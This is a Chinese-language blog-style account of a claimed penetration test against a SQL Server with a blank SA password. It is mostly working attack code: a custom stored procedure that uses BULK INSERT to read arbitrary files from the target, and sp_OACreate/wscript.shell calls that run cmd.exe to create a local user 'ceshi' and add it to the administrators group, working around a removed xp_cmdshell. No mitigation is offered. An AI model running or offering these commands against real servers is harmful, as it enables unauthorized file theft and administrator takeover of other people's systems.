前幾天朋友找我,讓我幫忙測試一下他們的伺服器,經過掃描後發現SQLServer的SA為空白,決定利用這個漏洞做滲透測試。經過測試發現預存程序Xp_cmdshell以及讀取註冊表系列的預存程序都被刪除了,並且Xplog70.dll也被刪除,所以無法執行CMD命令和複製管理員帳號了,看樣子是經過安全配置的,這種情況據我當時掌握的知識是沒辦法入侵的。以前也遇到過類似的機器,所以決定利用幾天的時間解決這個問題。
經過兩天的查閱資料和測試,實現了不需要使用任何SQLServer內建的預存程序就可以從目標機上得到txt、asp等類型檔案的內容(前提是知道SA密碼或者SA密碼為空白),實現過程就是自己建立一個暫存資料表,然後將檔案讀到表中,再用SELECT語句得到傳回值,即檔案的內容。我們可以在查詢分析器裡先寫入一個預存程序,然後執行,在需要的時候只要調用該預存程序即可:
Create proc sp_readTextFile @filename sysname
as
begin
set nocount on
Create table #tempfile (line varchar(8000))
exec ('bulk insert #tempfile from "' + @filename + '"')
select * from #tempfile
drop table #tempfile
End
go
這樣我們只要執行類似下面的語句就可以得到指定路徑下檔案的內容:
exec sp_readTextFile 'c:\aaa.asp'
實現這個功能後,本打算通過讀取朋友伺服器上網站的asp代碼,做進一步的入侵,可是後來發現,因為不知道網站asp檔案的絕對路徑,所以這個功能根本用不上,只好作罷,另找其他方法。在這之後的幾天時間裡,我想到了使用安全文章經常提到OLE相關的一系列預存程序,這一系列的預存程序同Xp_cmdshell以及讀取註冊表系列的預存程序一樣危險,但是其使用方法不象那些預存程序在網路上和書上介紹的那樣多,這系列的預存程序有sp_OACreate,sp_OADestroy,sp_OAGetErrorInfo,sp_OAGetProperty,sp_OAMethod,sp_OASetProperty,sp_OAStop,下面我講一下通過查閱資料得到的使用方法:
開啟查詢分析器,然後使用SA與目標機串連上,在查詢分析器裡執行:
DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC
SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net user
ceshi 1 /add'--
這樣對方系統增加了一個使用者名稱為ceshi,密碼為1的使用者,再執行:
DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC
SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net localgroup
administrators ceshi /add '--
使用者ceshi,被加入Administrator 群組。
總結:通過這次滲透測試,又學到了一種利用預存程序控制SA為空白的SQLServer伺服器的方法。